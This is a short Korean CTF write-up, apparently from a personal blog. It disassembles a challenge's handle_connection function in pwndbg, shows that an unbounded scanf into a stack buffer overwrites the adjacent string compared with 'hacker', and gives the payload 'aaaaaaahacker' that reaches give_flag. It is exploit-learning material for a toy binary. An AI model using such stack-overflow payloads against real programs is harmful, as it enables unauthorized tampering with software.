2018. 4. 8. 23:22ㆍ0x07 CTF/[스스로 푼 것]
문제 유형 : buf overwrite
handle_connection disassembly
pwndbg> disass handle_connection Dump of assembler code for function handle_connection: 0x080486b7 <+0>: push ebp 0x080486b8 <+1>: mov ebp,esp 0x080486ba <+3>: sub esp,0x28 0x080486bd <+6>: mov DWORD PTR [ebp-0x12],0x0 0x080486c4 <+13>: mov DWORD PTR [ebp-0xe],0x0 0x080486cb <+20>: mov WORD PTR [ebp-0xa],0x0 0x080486d1 <+26>: sub esp,0xc 0x080486d4 <+29>: push 0x804880b 0x080486d9 <+34>: call 0x8048510 <puts@plt> 0x080486de <+39>: add esp,0x10 0x080486e1 <+42>: sub esp,0x8 0x080486e4 <+45>: lea eax,[ebp-0x19] 0x080486e7 <+48>: push eax 0x080486e8 <+49>: push 0x8048822 => 0x080486ed <+54>: call 0x8048550 <__isoc99_scanf@plt> // use buffer 0x080486f2 <+59>: add esp,0x10 0x080486f5 <+62>: sub esp,0x8 // 0x10더했다가 0x8빼면 0x2만큼 실질적으로 세팅한다고 보면 됨 0x080486f8 <+65>: push 0x8048825 // printf offset "hacker" 0x080486fd <+70>: lea eax,[ebp-0x12] 0x08048700 <+73>: push eax 0x08048701 <+74>: call 0x80484f0 <strcmp@plt> 0x08048706 <+79>: add esp,0x10 0x08048709 <+82>: test eax,eax 0x0804870b <+84>: jne 0x8048714 <handle_connection+93> 0x0804870d <+86>: call 0x804866b <give_flag> 0x08048712 <+91>: jmp 0x8048724 <handle_connection+109> 0x08048714 <+93>: sub esp,0xc 0x08048717 <+96>: push 0x804882c 0x0804871c <+101>: call 0x8048510 <puts@plt> 0x08048721 <+106>: add esp,0x10 0x08048724 <+109>: nop 0x08048725 <+110>: leave 0x08048726 <+111>: ret |
핵심
0x8048701 <handle_connection+74> call strcmp@plt <0x80484f0> s1: 0xffffd1c6 ◂— 0x0 // 덮어야 한다 s2: 0x8048825 ◂— 'hacker' 분석해보니 버퍼 7개 차지하면 0xffffd1c6 위치에 덮어쓸 수 있다 |
페이로드
What's your code name? aaaaaaahacker |
'0x07 CTF > [스스로 푼 것]' 카테고리의 다른 글
swamp journey writeup (0) | 2018.04.08 |
---|---|
sunshine password writeup (0) | 2018.04.08 |
sunshine wrongbytes 시행착오 (0) | 2018.04.08 |
swamp CTF return (0) | 2018.04.01 |
swamp CTF journey (0) | 2018.04.01 |